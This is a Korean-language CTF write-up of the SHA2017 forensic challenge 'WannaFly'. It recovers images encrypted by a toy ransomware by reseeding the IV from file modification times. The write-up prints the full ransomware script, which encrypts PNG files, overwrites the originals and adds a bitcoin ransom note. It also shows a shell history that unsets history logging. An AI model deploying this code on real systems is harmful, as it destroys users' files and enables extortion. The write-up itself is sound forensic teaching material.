HackingForensic

SHA2017 CTF - WannaFly (100 pts.)

SHA2017 CTF

My daughter Kimberly her computer got hacked. Now she lost all her favorite images. Can you please help me recover those images?

() 7509faed92d67a242068de6605659ca1

먼저 Pictures폴더에 가보면 암호화된 이미지 파일들이 있다.

...파일을 보면 암호화 소스가 나와있고 .bash_history를 보면 실행 인자를 알 수 있다.

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#!/usr/bin/env python

import random, string, sys, os
from time import time
from Crypto.Cipher import AES
import base64
from PIL import Image
from PIL import ImageFont
from PIL import ImageDraw
from PIL import ImageFilter
import textwrap
from io import BytesIO

IMG="""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"""

MSG="""This Image is encrypted by WannaFly Ransom-ware. If you want your original image back, feel free to contact us on sha2017ctf@gmail.com and make a bitcoin payment of 0.1 bitcoin to address 1QCc1EYncxTeSfTKpaCZ2hvMDwXULKRVWe"""

def get_iv():
    iv = ""
    random.seed(int(time()))
    for i in range(0,16):
        iv += random.choice(string.letters + string.digits)
    return iv

def encrypt(m, p):
    iv=get_iv()
    aes = AES.new(p, AES.MODE_CFB, iv)
    return base64.b64encode(aes.encrypt(m))

def decrypt(m, p, i):
    aes = AES.new(p, AES.MODE_CFB, i)
    return aes.decrypt(base64.b64decode(m))

def find_images():
    i = []
    #for r, d, f in os.walk(os.environ['HOME']):
    for r, d, f in os.walk("."):
        for g in f:
            if g.endswith(".png"):
                i.append((os.path.join(r, g)))
    return i

def encrypt_images():
    for i in find_images():
        img = Image.open(i).filter(ImageFilter.GaussianBlur(radius=18))
        draw = ImageDraw.Draw(img)
        font = ImageFont.truetype("/usr/share/fonts/truetype/freefont/FreeSans.ttf", 18)
        text = textwrap.wrap(MSG, width=60)
        W, H = img.size
        bird = Image.open(BytesIO(base64.b64decode(IMG)))
        bw, bh = bird.size
        offset = ((W-bw)/2, (H-bh)/2 - 80)
        img.paste(bird, offset, bird)
        pad = 0
        for line in text:
            w, h = draw.textsize(line, font=font)
            draw.text(((W-w)/2, (H-h)/2 + pad), line, font=font, fill="white")
            pad += 20
        img.save('/tmp/sha.png')
	encrypt_image(i)

def encrypt_image(img):
    data = open(img, 'r').read()
    encrypted_img = encrypt(data, sys.argv[1])
    blurred_img = open('/tmp/sha.png', 'r').read()
    stat = os.stat(img)
    with open(img, 'r+') as of:
        of.write('\0' * stat.st_size)
        of.flush()
    open(img, 'w').write(blurred_img + "\n" + encrypted_img)

if __name__ == '__main__':
    if len(sys.argv) != 2:
        print "Usage: %s <pass>" % sys.argv[0]
    else:
        encrypt_images()

.bash_history

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unset HISTFIL
ls -la
pwd
chmod +x ...
./... Hb8jnSKzaNQr5f7p
ls -Rla

get_iv()를 보면 현재 시간을 기준으로 random seed를 맞춰주고 있다.

복호화 할때는 그 파일의 마지막으로 수정된 시간을 이용하면 암호화 당시의 random seed를 맞춰줄 수 있다.

decrypt.py

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import os
import os.path
import random
import string
import base64
from Crypto.Cipher import AES

def get_iv(mtime):
    iv = ''
    random.seed(int(mtime))
    for i in range(0,16):
        iv += random.choice(string.letters + string.digits)
    return iv

def decrypt(m, iv):
    aes = AES.new('Hb8jnSKzaNQr5f7p', AES.MODE_CFB, iv)
    return aes.decrypt(base64.b64decode(m))

IEND = '49454E44AE4260820A'.decode('hex')
path = './Pictures/'
files = os.listdir('./Pictures')

for file in files:
    file = path + file
    mtime = os.path.getmtime(file)
    iv = get_iv(mtime)

    data = open(file).read()
    offset = data.find(IEND)
    data = data[offset + len(IEND):]

    f = open(file + '.dec.png', 'w')
    f.write(decrypt(data, iv))
    f.close()
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